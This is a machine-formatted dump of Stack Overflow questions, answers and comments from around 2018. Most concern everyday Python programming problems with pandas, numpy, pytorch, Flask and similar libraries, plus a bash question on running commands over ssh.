has comment: http://stackoverflow.com/comment/86040648
has comment: http://stackoverflow.com/comment/86040438
has comment: http://stackoverflow.com/comment/86042033
has comment: http://stackoverflow.com/comment/86041040
tagged with: python
has comment: http://stackoverflow.com/comment/86098029
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/49558351

http://stackoverflow.com/comment/86092143
comment on: http://stackoverflow.com/a/49539782
type: Comment
has text: Please elaborate by placing your code in the answer, along with an explanation.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86185859
has text: @JonClements Increasing the size of the ramdisk somewhat is doable, but i feel it would be nice to handle the error regardless (without simply cleansing it completely when full, and/or writing a script that keeps watch over the disk). Default cache is 30 seconds i believe.
comment on: http://stackoverflow.com/q/49588891
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86149505
type: Comment
score: 1
has text: What did you tried so far?
type: QuestionComment
comment on: http://stackoverflow.com/q/49570941

http://stackoverflow.com/comment/86087960
has text: @ResleyRodrigues I'd prefer to do it using a QuerySet rather than to convert the QuerySet into a dataframe using django-pandas. Let me update my question to include my real problem. Sorry for the confusion.
comment on: http://stackoverflow.com/q/49539392
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86176728
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49581341
type: QuestionComment
has text: Could you expand further about the type of work you want it to do? How long would the "very heavy computations" need to run? AWS Lambda might be suitable, but it depends on your needs. Feel free to Edit your question to add more details.

http://stackoverflow.com/comment/85998869
type: Comment
comment on: http://stackoverflow.com/a/49495728
score: 0
has text: I cannot use setattr. I want update attributes of class within numba njit functions. to do so, I need to pass the reference to the attribute like I do for methods. like if i have a ref=essai.modify_val will give me a reference that I can pass to the njit function. but I cannot do this with attributes.
type: AnswerComment

http://stackoverflow.com/a/49454164
answers question: http://stackoverflow.com/q/49453930
downvote count: 0
upvote count: 1
type: Answer
score: 1
has body: If you need an in-place solution, you can convert to a to float and then use np.where. Float conversion is required here as np.nan is a float. a = np.array([2, 2, 4, 0, 4, 3, 3, 3, 1, 2]) b = np.array([0, 0, 0, 1, 0, 3, 0, 5, 0, 0]) a = a.astype(float) a[np.where(b!=0)] = np.nan # array([ 2., 2., 4., nan, 4., nan, 3., nan, 1., 2.])

http://stackoverflow.com/q/49514791
upvote count: 1
has body: I have a dataframe of coordinates in which I perform point-in-polygon and it returns the set of points in the polygon. df1 - Original coordinates 0 POINT (-97.96192929999999 29.8929939) 1 POINT (-97.98886109999999 29.8230438) 2 POINT (-97.6573715 30.15241810000001) 3 POINT (-97.68809509999998 30.3590794) 4 POINT (-97.37609860000001 31.0930271) 5 POINT (-97.66625980000001 30.3466492) 6 POINT (-97.6666412 30.3455753) ... df2 - Results 4 POINT (-97.37609860000001 31.0930271) 1496 POINT (-97.64907839999999 30.3872128) 445 POINT (-97.64907839999999 30.3872128) 2822 POINT (-97.649353 30.387228) 1369 POINT (-97.6488342 30.3873215) 6 POINT (-97.6666412 30.3455753) 2303 POINT (-97.6492767 30.38755039999999) ... How would I add an "area" column in df1 and set the values = "area1" for the row indexes that are in both dfs? In the example above, rows 4 and 6 are in the results so I'd like to have an area column = "area1" for those rows in df1
tagged with: python
favorite count: 0
type: AnsweredQuestion
downvote count: 0
tagged with: pandas
score: 1
tagged with: geopandas
answer count: 1
tagged with: dataframe
has title: Pandas update column value if df1 index in df2 index
has answer: http://stackoverflow.com/a/49514870
accepted answer: http://stackoverflow.com/a/49514870
type: Question
tagged with: point-in-polygon

http://stackoverflow.com/comment/86189614
score: 0
comment on: http://stackoverflow.com/q/49590870
has text: I need to get the json and call another page html, i can do this with one route?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86024265
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49510009
type: QuestionComment
has text: the data in your `filename` are those all numbers ? or it also have text in it ? it seems like your are converting text to int

http://stackoverflow.com/q/49592150
tagged with: bash
score: 1
accepted answer: http://stackoverflow.com/a/49593028
has comment: http://stackoverflow.com/comment/86195130
has title: Execute certain commands one after other two all set of servers simultaneously
has answer: http://stackoverflow.com/a/49593028
has comment: http://stackoverflow.com/comment/86193189
favorite count: 0
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/86192199
answer count: 1
has comment: http://stackoverflow.com/comment/86191915
tagged with: python
downvote count: 1
has body: I need to execute command 1 and command 2 on 6 servers simultaneously and after that I need to run command 3 and command 4. #!/bin/sh #Instance details Server1="&lt;Server1&gt;" Server2="&lt;Server2&gt;" Server3="&lt;Server3&gt;" Server4="&lt;Server4&gt;" Server5="&lt;Server5&gt;" Server6="&lt;Server6&gt;" ssh root@$Server1 "command1" &amp; ssh root@$Server1 "command2" &amp; ssh root@$Server2 "command1" &amp; ssh root@$Server2 "command2" &amp; ssh root@$Server3 "command1" &amp; ssh root@$Server3 "command2" &amp; ssh root@$Server4 "command1" &amp; ssh root@$Server4 "command2" &amp; ssh root@$Server5 "command1" &amp; ssh root@$Server5 "command2" &amp; ssh root@$Server6 "command1" &amp; ssh root@$Server6 "command2" &amp; wait ssh root@$Server1 "command3" &amp; ssh root@$Server1 "command4" &amp; ssh root@$Server2 "command3" &amp; ssh root@$Server2 "command4" &amp; ssh root@$Server3 "command3" &amp; ssh root@$Server3 "command4" &amp; ssh root@$Server4 "command3" &amp; ssh root@$Server4 "command4" &amp; ssh root@$Server5 "command3" &amp; ssh root@$Server5 "command4" &amp; ssh root@$Server6 "command3" &amp; ssh root@$Server6 "command4" &amp; Is there any better way of doing it, as I have around 10 servers and 10 commands each. Please help an easy and a robosut way.
type: AnsweredQuestion
tagged with: linux

http://stackoverflow.com/a/49468424
downvote count: 0
upvote count: 1
has body: You are passing upsert=True to update(). Upsert tells MongoDB to update an existing document if one matching the query is found, insert a new document otherwise. The first parameter to update() is a query filter to find documents to apply the update to. The update query filter where api_id == "get logs" isn't matching any existing document, so a new document is being created.
score: 1
answers question: http://stackoverflow.com/q/49467211
type: Answer
accepted answer of: http://stackoverflow.com/q/49467211
type: AcceptedAnswer

http://stackoverflow.com/comment/86167667
score: 0
has text: Please refine your question. At the moment, it appears to include needing a tutorial on software testing, which is far beyond the purpose of Stack Overflow.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49579899

http://stackoverflow.com/comment/86106265
type: Comment
type: AnswerComment
score: 0
has text: How do I do that?
comment on: http://stackoverflow.com/a/49549478

http://stackoverflow.com/comment/86254424
has text: Basically, if I understand correctly, you are looping over every line in the original DataFrame (interval_data) and creating a DataFrame per line in the apply function ? I didn't know that Pandas would automatically merge these newly created DataFrames. The group_keys=False (avoid adding indexes when using apply) was also new to me. Would it be possible to comment in terms of performance or is that too dependent on the original DataFrame ?
comment on: http://stackoverflow.com/a/49493736
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86089014
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49538350
has text: @wim So we should have two (almost) identical questions, then? All the answers posted here could be posted over there instead if the question was closed, so what's the problem? But if you're not happy with that, maybe you should vote to close the other question as a dupe of this one?
type: Comment

http://stackoverflow.com/a/49454625
accepted answer of: http://stackoverflow.com/q/49454384
has body: Using cᴏʟᴅsᴘᴇᴇᴅ's data, and assuming we've already converted to datetimes... We can use set_axis and resample v.set_axis(v.values, inplace=False).resample('M').count() 2010-01-31 3 2010-02-28 3 2010-03-31 3 2010-04-30 3 2010-05-31 3 2010-06-30 3 2010-07-31 3 2010-08-31 3 2010-09-30 3 2010-10-31 3 2010-11-30 3 2010-12-31 3 Freq: M, dtype: int64 Response to Comments is there any way to plot this data as scatter plot instead of line plot. thanks – Rio I don't think you want a scatter plot. Scatter plots require that the axes be numeric. Your index is a datetime value. If you insist, you can force the datetime as an integer. But in my opinion, this is clumsy and ugly. new = v.set_axis(v.values, inplace=False).resample('M').count() new = new.rename_axis('Date').reset_index(name='Count') new.Date = new.Date.astype(int) new.plot.scatter(x='Date', y = 'Count') Otherwise, use a line plot and set the marker v.set_axis(v.values, inplace=False).resample('M').count().plot(lw=0, marker='o')
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/85915608
answers question: http://stackoverflow.com/q/49454384
has comment: http://stackoverflow.com/comment/85915513
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85914733
type: Answer

http://stackoverflow.com/comment/85919662
type: Comment
comment on: http://stackoverflow.com/q/49457893
type: QuestionComment
has text: Yes, exactly. I am just trying to draw the external rect for the red sign. I will eventually want the rect for the green sign too, but am not trying to do that here.
score: 0

http://stackoverflow.com/comment/86183068
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49587481
has text: The code you have posted would not give that error. Either you have `path(r'^$/', ...)` somewhere in your project, or you have not saved your code/restarted your server after changing to `path('', ...)`.
type: Comment

http://stackoverflow.com/a/49470062
answers question: http://stackoverflow.com/q/49470038
type: Answer
has comment: http://stackoverflow.com/comment/85950267
has body: The problematic part is st[j] = st[j - 1], more specifically j - 1 where you are subtracting 'str' and 'int' types. This is not supported in Python.
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/85943622
score: 3

http://stackoverflow.com/a/49560275
answers question: http://stackoverflow.com/q/49559918
has comment: http://stackoverflow.com/comment/86128837
accepted answer of: http://stackoverflow.com/q/49559918
has comment: http://stackoverflow.com/comment/86128914
has body: What you're getting is called epoch Date Time. import time time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.localtime(1520369492984/1000)) Or using the datetime module: import datetime datetime.datetime.utcfromtimestamp(1520369492984/1000).replace(tzinfo=datetime.timezone.utc) Background Story: The Unix epoch (or Unix time or POSIX time or Unix timestamp) is the number of seconds that have elapsed since January 1, 1970 (midnight UTC/GMT), not counting leap seconds (in ISO 8601: 1970-01-01T00:00:00Z). Literally speaking the epoch is Unix time 0 (midnight 1/1/1970), but 'epoch' is often used as a synonym for 'Unix time'. You can find online converters for the same. My personal recommendation: epoch converter The above not only converts the timestamp but also, gives you code snippets for different languages.
has comment: http://stackoverflow.com/comment/86128554
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86128686
has comment: http://stackoverflow.com/comment/86128566
score: 1
type: Answer

http://stackoverflow.com/comment/85946571
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49471944
has text: It does contain `Graphviz=C:\Program Files (x86)\Graphviz2.38\bin`. And I have restarted the command window plenty of times, still to no avail.

http://stackoverflow.com/q/49465066
downvote count: 1
has body: I have the following code to create a CSV file. with open('CSV\globalLS', 'a', newline = "") as f: writer = csv.writer(f,quoting=csv.QUOTE_ALL ) writer.writerow([name, datetime.datetime.now().date(), openPrice, highPrice, lowPrice, closePrice]) However, once the file is created and I try to open it - using computer - the file type is listed as bigdEal and the file opening default setting - excel - is not shown. It opens fine using notebook but it needs to be in an excel file. Does anyone know what is happening? Thanks
has title: Can't open csv file in "excel format"
favorite count: 0
type: Question
answer count: 1
tagged with: python
has answer: http://stackoverflow.com/a/49465103
accepted answer: http://stackoverflow.com/a/49465103
type: AnsweredQuestion
score: 0
tagged with: http://stackoverflow.com/tag/csv
upvote count: 1

http://stackoverflow.com/comment/86152559
type: AnswerComment
score: 0
type: Comment
has text: I don't understand `self.backup = np.random.randint(2**32-1, dtype=np.uint32)`. Can you explain it?
comment on: http://stackoverflow.com/a/49557099

http://stackoverflow.com/comment/86046582
has text: @Aaron That was just to show you can pass as many lists as you want.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49520168
type: AnswerComment

http://stackoverflow.com/comment/86196697
has text: Possible duplicate of [Python and how to get text from Selenium element WebElement object?](https://stackoverflow.com/questions/28022764/python-and-how-to-get-text-from-selenium-element-webelement-object)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49592272

http://stackoverflow.com/q/49442034
type: UnansweredQuestion
answer count: 1
type: Question
has answer: http://stackoverflow.com/a/49443737
tagged with: python
has body: How could I use the medium-sized spaCy model en_core_web_md to parse through a folder of documents to get individual vectors from each single word document, and then average them together? import spacy nlp = spacy.load("en_core_web_md")
tagged with: average
score: 0
tagged with: spacy
tagged with: vector
has title: Averaging Vectors from Documents

http://stackoverflow.com/comment/85905126
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/49450978
has text: I've removed my downvote. You are right that this is not really a minor issue, and you did address the immediate question, even if the question is incomplete.

http://stackoverflow.com/a/49506022
has body: The script returns a tuple, of which the second entry is the actual TFRecord. So the following corrected script works for me: with open('coco_labels.json') as json_data: label_info = json.load(json_data) category_index = {} IMAGE_FOLDER = "coco_images" with tf.python_io.TFRecordWriter("training.record") as writer: for i,image in enumerate(label_info["images"]): img_data = requests.get(image["file_name"]).content image_name = "image"+str(i)+".jpg" image_path = os.path.join(IMAGE_FOLDER,image_name) image["file_name"] = image_name category_index = {} for category in label_info["categories"]: category_index[category['id']] = category _,tfRecord,_ = create_coco_tf_record.create_tf_example(image, [label_info["annotations"][i]], IMAGE_FOLDER, category_index ) writer.write(tfRecord.SerializeToString())
type: Answer
answers question: http://stackoverflow.com/q/49495540
score: 0

http://stackoverflow.com/comment/86037462
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49514016
has text: Thank you to you, i knew another thing 'unwind' :D

http://stackoverflow.com/comment/86051138
score: 0
type: AnswerComment
has text: @edn helper 2: tf.get_default_graph().get_operation_by_name(name)
comment on: http://stackoverflow.com/a/49519076
type: Comment

http://stackoverflow.com/a/49494462
has comment: http://stackoverflow.com/comment/86023545
answers question: http://stackoverflow.com/q/49490150
has comment: http://stackoverflow.com/comment/138776598
has body: Because your filepath doesn't start with a / it's relative, but dbutils is expecting an absolute filepath. I'm surprised it works at all with the relative filepath... See their (excellent) docs https://docs.databricks.com/user-guide/dbfs-databricks-file-system.html#access-dbfs-with-dbutils
type: Answer
has comment: http://stackoverflow.com/comment/86023699
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/49545988
has body: For example, the torch.randn function, among others, gets mad when given a numpy.int64 type: Python 3.5.5 |Anaconda custom (64-bit)| (default, Mar 12 2018, 23:12:44) [GCC 7.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import torch &gt;&gt;&gt; import numpy &gt;&gt;&gt; torch.randn(numpy.int64(4)) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; TypeError: torch.randn received an invalid combination of arguments - got (numpy.int64), but expected one of: * (int ... size) didn't match because some of the arguments have invalid types: (numpy.int64) * (torch.Size size) didn't match because some of the arguments have invalid types: (numpy.int64) * (torch.Generator generator, int ... size) * (torch.Generator generator, torch.Size size) But in python 2, this works just fine: Python 2.7.14 |Anaconda, Inc.| (default, Dec 7 2017, 17:05:42) [GCC 7.2.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import torch &gt;&gt;&gt; import numpy &gt;&gt;&gt; torch.randn(numpy.int64(3)) -2.0513 0.5409 -0.0814 [torch.FloatTensor of size 3] I couldn't find anyone else running into this issue. Is this known? Is this something about my setup? Is there any way to work around this without completely dropping numpy? I'm using version 0.3.1 of pytorch and version 1.14.2 of numpy.
tagged with: numpy
accepted answer: http://stackoverflow.com/a/49546028
type: Question
tagged with: pytorch
has answer: http://stackoverflow.com/a/49546028
score: 0
answer count: 1
type: AnsweredQuestion
has title: Pytorch errors when given numpy integer types only in python 3 (not in python 2)
tagged with: python

http://stackoverflow.com/comment/85939150
comment on: http://stackoverflow.com/q/49468077
has text: 1) Don't post code as images, paste it directly into your question and format it as code (use the `{}` button) 2) There's no output shown.
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49567291
tagged with: python
score: 0
answer count: 3
tagged with: sql
has comment: http://stackoverflow.com/comment/86143145
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86162230
has comment: http://stackoverflow.com/comment/86143410
has answer: http://stackoverflow.com/a/49567385
has answer: http://stackoverflow.com/a/49577475
has title: Joining two different datasets using multiple keyvalues
type: Question
tagged with: multikey
tagged with: linux
has answer: http://stackoverflow.com/a/49590016
tagged with: join
has body: I have two sets of data. The first dataset looks like: Storm_ID,Cell_ID,Wind_speed 2,10236258,27 2,10236300,58 2,10236301,25 3,10240400,51 The second dataset looks like: Storm_ID,Cell_ID,Storm_surge 2,10236299,0.27 2,10236300,0.27 2,10236301,0.35 2,10240400,0.35 2,10240401,0.81 4,10240402,0.11 Now I want an output which looks something like this: Storm_ID,Cell_ID,Wind_speed,Storm_surge 2,10236258,27,0 2,10236299,0,0.27 2,10236300,58,0.27 2,10236301,25,0.35 2,10240400,0,0.35 2,10240401,0,0.81 3,10240400,51,0 4,10240402,0,0.11 I tried join command in Linux to perform this task and failed badly. Join command skipped the rows which didn't match in the database. I can use Matlab but the size of the data is more than 100 GB which is making it very difficult for this task. Can someone please guide me on this one please. Can I use SQL or python to complete this task. I appreciate your help Thanks.

http://stackoverflow.com/comment/85946417
type: AnswerComment
comment on: http://stackoverflow.com/a/49471822
type: Comment
has text: But I wouldn't rule out there being some built-in route. I don't know ISO beyond surface level @Frobot
score: 0

http://stackoverflow.com/q/49522033
downvote count: 1
has answer: http://stackoverflow.com/a/49522630
has comment: http://stackoverflow.com/comment/86049998
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86050473
has title: Python: how to find a range of indexes from small to large?
has comment: http://stackoverflow.com/comment/86050512
tagged with: arrays
has comment: http://stackoverflow.com/comment/86050096
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/86050032
has comment: http://stackoverflow.com/comment/86049979
type: AnsweredQuestion
has body: I have 2 arrays. First is an array of rows. Second is an array of indents (think indenting text in a Word document) 1. ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10'] 2. ['1', '2', '3', '1', '2', '2', '2', '2', '1', '2'] I am struggling with finding a range of variables from a small number to the next bigger one. My desired output would be '1', '2', '3' '1', '2', '3' also, '4', '5', '6', '7', '8' '1', '2', '2', '2', '2' I want to save the indexes of the of the array that stops when the next number is smaller than the previous. Such as arraySaved = [['1', '3'],['4', '8']['9', '10']] I keep getting 'out of index errors' and the saved indexes are not reflecting the correct range Code I've tried: num = 0 arrayOfIndexes = [] for x in range(0, len(array1)): small= array2[int(num)] num = int(num)+1 big = array2[int(num)] if(big - num &lt;=0): arrayOfIndexes.append(num)
tagged with: list
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/86050491
accepted answer: http://stackoverflow.com/a/49522630
tagged with: output

http://stackoverflow.com/a/49547102
accepted answer of: http://stackoverflow.com/q/49546992
type: Answer
has body: That logic can be expressed as: D = A and B in C E = not D
upvote count: 22
has comment: http://stackoverflow.com/comment/86101662
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49546992
downvote count: 1
has comment: http://stackoverflow.com/comment/86101622
score: 21

http://stackoverflow.com/comment/85926727
type: Comment
type: QuestionComment
has text: Why do you need to do that?
comment on: http://stackoverflow.com/q/49457033
score: 0

http://stackoverflow.com/q/49470337
possible better answer: http://stackoverflow.com/a/49470386
has answer: http://stackoverflow.com/a/49470386
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/85943603
has comment: http://stackoverflow.com/comment/85943406
has answer: http://stackoverflow.com/a/49470492
answer count: 4
has title: How do i get position instead of swapping in list number in python
type: Question
accepted answer: http://stackoverflow.com/a/49470449
has answer: http://stackoverflow.com/a/49470418
has answer: http://stackoverflow.com/a/49470449
has body: I have numbers like this : a = [3, 4, 5, 7, 2, 8, 6, 9, 1] and I would like to put this number in a list like [2, 3, 4, 5, 7, 8, 6, 9, 1]
tagged with: python

http://stackoverflow.com/comment/86194760
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49494400
has text: The client (or tests) never actually need access to your schema definition files. All the info can be obtained via introspection, and that is what all libraries normally do.
type: Comment

http://stackoverflow.com/comment/86135909
type: Comment
type: AnswerComment
has text: @VikasTiwari Nah, that's alright. But sleeping just seems unnecessary to me in this case.
comment on: http://stackoverflow.com/a/49556186
score: 0

http://stackoverflow.com/comment/128760517
comment on: http://stackoverflow.com/a/67799052
has text: I agree, but its worth trying.
type: AnswerComment
score: 3
type: Comment

http://stackoverflow.com/comment/86077066
comment on: http://stackoverflow.com/a/49535064
score: 1
type: Comment
type: AnswerComment
has text: No, the `spearmanr` function requires 2 arrays as an input. This isn't inefficient in any way, as we are only defining the distance array once.

http://stackoverflow.com/q/49503571
has comment: http://stackoverflow.com/comment/86011613
tagged with: python
has comment: http://stackoverflow.com/comment/86011782
has comment: http://stackoverflow.com/comment/86011361
has comment: http://stackoverflow.com/comment/86011487
tagged with: node.js
has comment: http://stackoverflow.com/comment/86011656
has comment: http://stackoverflow.com/comment/86011439
type: Question
has comment: http://stackoverflow.com/comment/86011454
tagged with: python-3.x
answer count: 2
downvote count: 4
has comment: http://stackoverflow.com/comment/86011689
duplicate of: http://stackoverflow.com/q/10434599
has comment: http://stackoverflow.com/comment/86011949
type: UnansweredQuestion
has title: String to dict/json like format
duplicate of: http://stackoverflow.com/q/20001229
score: -3
has body: I'm finding it difficult to turn a json like string into a json/dict object, I've got the data like this {"key1":"value1","key2":[{"key2.1":"value2.1"},{"key2.2":"value2.2"}]} When running type on the variable it tells me it is of class str i.e &lt;class 'str'&gt;. I need to get the string into a json or dict like format so I can extract all of the values named value... I've tried json.loads, json.load, json.dumps, ast.literal_eval but nothing seems to be working. I've tried adding [' and '] either side of the string but still no luck. Any ideas? Thanks EDIT: I'm using a nodeJS backend sending a request to a flask server, the nodeJS axios request is this get_values: (key_one, key_two) =&gt; axios.post('http://localhost:5000/example', { key_one: key_one, key_two: key_two }).then(res =&gt; res.data), on the flask side I'm doing this @app.route('/example', methods=["POST","OPTIONS"]) def example(): convert_data = request.get_data() string_data = convert_data.decode('utf8').replace("'", '"') new_string = "'''" + string_data + "'''" print(json.loads(new_string)) Then I get the an error
upvote count: 1
has comment: http://stackoverflow.com/comment/86011643
tagged with: flask
has answer: http://stackoverflow.com/a/49503819
has comment: http://stackoverflow.com/comment/86011938
linked to: http://stackoverflow.com/q/10434599
has comment: http://stackoverflow.com/comment/86011824
favorite count: 0
has comment: http://stackoverflow.com/comment/86011363
has comment: http://stackoverflow.com/comment/86011417
has answer: http://stackoverflow.com/a/49505679
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/q/49439987
has comment: http://stackoverflow.com/comment/85882390
has comment: http://stackoverflow.com/comment/85881962
type: Question
tagged with: qlabel
type: UnansweredQuestion
tagged with: pyqt4
has body: I'm using Qlabel(PyQt4) to display images in my application. The image looks distorted when application renders it for the first time. But second time onwards (After closing the window and reopening it) the image is displayed without distortion. How to avoid the distortion in the image when it is displayed for the first time? Image with distortion Image without distortion Code Snippet: pixmap = QtGui.QPixmap(_fromUtf8(image)) scaledPixmap = pixmap.scaled(self.wCam0.ui.lblImage.size(), QtCore.Qt.IgnoreAspectRatio, QtCore.Qt.FastTransformation) self.wCam0.ui.lblImage.setPixmap(scaledPixmap) In the above snippet, self.wCam0.ui.lblImage is the Qlabel object and image is the location/path of the image that needs to be displayed.
tagged with: python
has title: Distorted images in Qlabel
has comment: http://stackoverflow.com/comment/85882279
tagged with: image
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/85883585

http://stackoverflow.com/comment/85932284
score: 1
type: Comment
has text: wow that's some master code!! thanks a lot, this helped and teached me a lot!! :)
type: AnswerComment
comment on: http://stackoverflow.com/a/49460911

http://stackoverflow.com/q/49443086
tagged with: antlr3
upvote count: 1
answer count: 1
downvote count: 0
tagged with: runtime
has comment: http://stackoverflow.com/comment/87090352
favorite count: 0
type: Question
tagged with: particle-swarm
has comment: http://stackoverflow.com/comment/87085786
has comment: http://stackoverflow.com/comment/87023058
score: 1
has answer: http://stackoverflow.com/a/50133707
accepted answer: http://stackoverflow.com/a/50133707
tagged with: python
has comment: http://stackoverflow.com/comment/87093441
has title: ANTLR3 python runtime not detected
tagged with: optimization
has body: I want to use fstpso package in python which needs ANTLR3 python runtime. I downloaded antlr_python_runtime-3.1.3.tar.gz from http://www.antlr3.org/download/Python/ and ran the command sudo python setup.py install. The output of the command was Installed /path/to/python/packages/antlr_python_runtime-3.1.3-py2.7.egg But after this when I try to import fstpso module in python, it throws the error The ANTLR3 python runtime was not detected; pyfuzzy cannot import FST-PSO's FLC files I am using python 2.7.12 on linux. Is there something I did wrong? Or I have to update any PATH in the environment? Thanks for your help!!
type: AnsweredQuestion

http://stackoverflow.com/comment/85905197
type: Comment
has text: Who created the table? Was it you or was it SQLAlchemy?
comment on: http://stackoverflow.com/q/49451356
score: 1
type: QuestionComment

http://stackoverflow.com/a/49493591
score: 2
has body: If the api folder is in the outer project directory (the one that contains manage.py), then you don't need to include academy in the import. Change it to: from api.v1.manager.models import UserViewControll
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49493514
upvote count: 2
has comment: http://stackoverflow.com/comment/85990897
answers question: http://stackoverflow.com/q/49493514
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/85990995
has comment: http://stackoverflow.com/comment/85991275

http://stackoverflow.com/comment/85980470
has text: But where there is [0,0,0] then its printing [0,0,0] instead of [1,1,1]
comment on: http://stackoverflow.com/a/49487824
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/118645821
type: AnswerComment
comment on: http://stackoverflow.com/a/49511552
score: 0
type: Comment
has text: Importing unidecode inside the `get_search_terms` might degrade performance as it will be imported each time the filter is used.

http://stackoverflow.com/comment/86049444
comment on: http://stackoverflow.com/q/49521656
type: Comment
score: 1
has text: If there is no biunivocal relation, how is this cipher decoded at all? Obviously there are stateful ciphers so that output depends on all the previous input (characters) but this doesn't seem to be what you describe. So how does your **_algorithm_** work? Without clear specification it is impossible to write the code. To put it otherwise, typical cipher works such that someone who knows both algorithm and the "secret" (aka "key") can decipher the single (correct) message. How this is supposed to work in this case?
type: QuestionComment

http://stackoverflow.com/q/49544589
has comment: http://stackoverflow.com/comment/86096979
type: Question
type: UnansweredQuestion
answer count: 1
upvote count: 1
downvote count: 1
has body: *EDITTED Here is the entire script. I need to calculate the wind chill using air temperature (T) and wind speed (U). I have noted the block I am struggling with. When I run the program, TWC = T. In other words, it is not calculating the wind chill. import sys import cgi # to retrieve arguments from html forms from mesohelper import getmeso # mesohelper.py needs to be in same directory form = cgi.FieldStorage() #this will have the arguments sent via the html form timestamp = form.getvalue('timestamp','') # '' is default, if timestamp does not exist stid = form.getvalue('stid','NRMN') # NRMN is default station_id = stid.upper() # this changes stid to uppercase debug = form.getvalue('debug')=='on' # more optional diaganostic messages print("Content-type: text/html\n") # required for serving content as a web page print(""" mesosite.cgi """) # html tags for the top of the page that your sending if debug: print(form) print("You requested mesonet data at time:",timestamp) mdata,timefile = getmeso(timestamp,debug=debug) # retrieves requested mesonet data print("\nretrieved file with timestamp:",timefile) if debug: print("Here is mdata:\n",mdata) # mdata is a dictionary, with keys that access a dictionary for the site stids = mdata.keys() # a list of all the mesonet station id # look at data for requested station_id: if station_id not in stids: print(station_id,"is not a valid station id") else: #do things with the stored data print("here is the data found for key:",station_id) sitedata = mdata[station_id] # sitedata is a dictionary within the mdata dictionary keys = sitedata.keys() # keys for the values of the measurements that are stored for key in sorted(keys): print(' ', key, sitedata[key]) T = sitedata['tair'] # degree C U = sitedata['wspd'] # in m/s TWC = -900 # it is designated missing, until we compute it if T>-900 and U>-900: V = U*3.6 # STUDENTS: Maybe four more lines to compute TWC from T and V # T must be less than 10 C and V greater than 4.8 km/hr, otherwise TWC…
favorite count: 0
has comment: http://stackoverflow.com/comment/86134673
has comment: http://stackoverflow.com/comment/86100246
score: 0
has comment: http://stackoverflow.com/comment/86134450
has comment: http://stackoverflow.com/comment/86097812
has comment: http://stackoverflow.com/comment/86097834
has answer: http://stackoverflow.com/a/49564198
tagged with: nested
tagged with: python
has comment: http://stackoverflow.com/comment/86097967
has comment: http://stackoverflow.com/comment/86097415
has title: Using a nested "if" block to calculate windchill (python)
has comment: http://stackoverflow.com/comment/86097127

http://stackoverflow.com/a/49487913
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49487597
has comment: http://stackoverflow.com/comment/85978771
has comment: http://stackoverflow.com/comment/85978873
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49487597
has body: My guess is that those files are there, but hidden by Windows explorer. But os.walk doesn't filter those files. It just filters . and ... Those files starting by ~$ are Microsoft Word backup files. When Word opens a file, it creates the same file name, but for the 2 first chars, which are ~$. (the only strange fact is that those backups are usually visible, well, ...) If Word crashes or is killed, this backup file remains. You should ignore them. For instance by changing the pattern like this: pattern = "[!~][!$]*MATCH*.rtf" or by adding: if not filename.startswith("~$"): in your loop (pattern filtering is not exactly the same since it will filter files starting by ~ but not followed by $, but it's pretty close.
downvote count: 0

statistics
tags question: http://stackoverflow.com/q/49460667
tags question: http://stackoverflow.com/q/49496102
tags question: http://stackoverflow.com/q/49592444
tags question: http://stackoverflow.com/q/49468410
tags question: http://stackoverflow.com/q/49478867
tags question: http://stackoverflow.com/q/49590892
tag name: statistics
tags question: http://stackoverflow.com/q/49497580
tags question: http://stackoverflow.com/q/49571240
tags question: http://stackoverflow.com/q/49460680
tags question: http://stackoverflow.com/q/49478929
tags question: http://stackoverflow.com/q/49535223
tags question: http://stackoverflow.com/q/49494240
type: Tag

http://stackoverflow.com/q/49468466
has answer: http://stackoverflow.com/a/49468534
type: AnsweredQuestion
answer count: 3
score: 0
tagged with: openpyxl
upvote count: 1
downvote count: 1
has title: Why is "None" value In clientIDArray?
favorite count: 0
has answer: http://stackoverflow.com/a/49468533
type: Question
accepted answer: http://stackoverflow.com/a/49468540
has answer: http://stackoverflow.com/a/49468540
possible better answer: http://stackoverflow.com/a/49468534
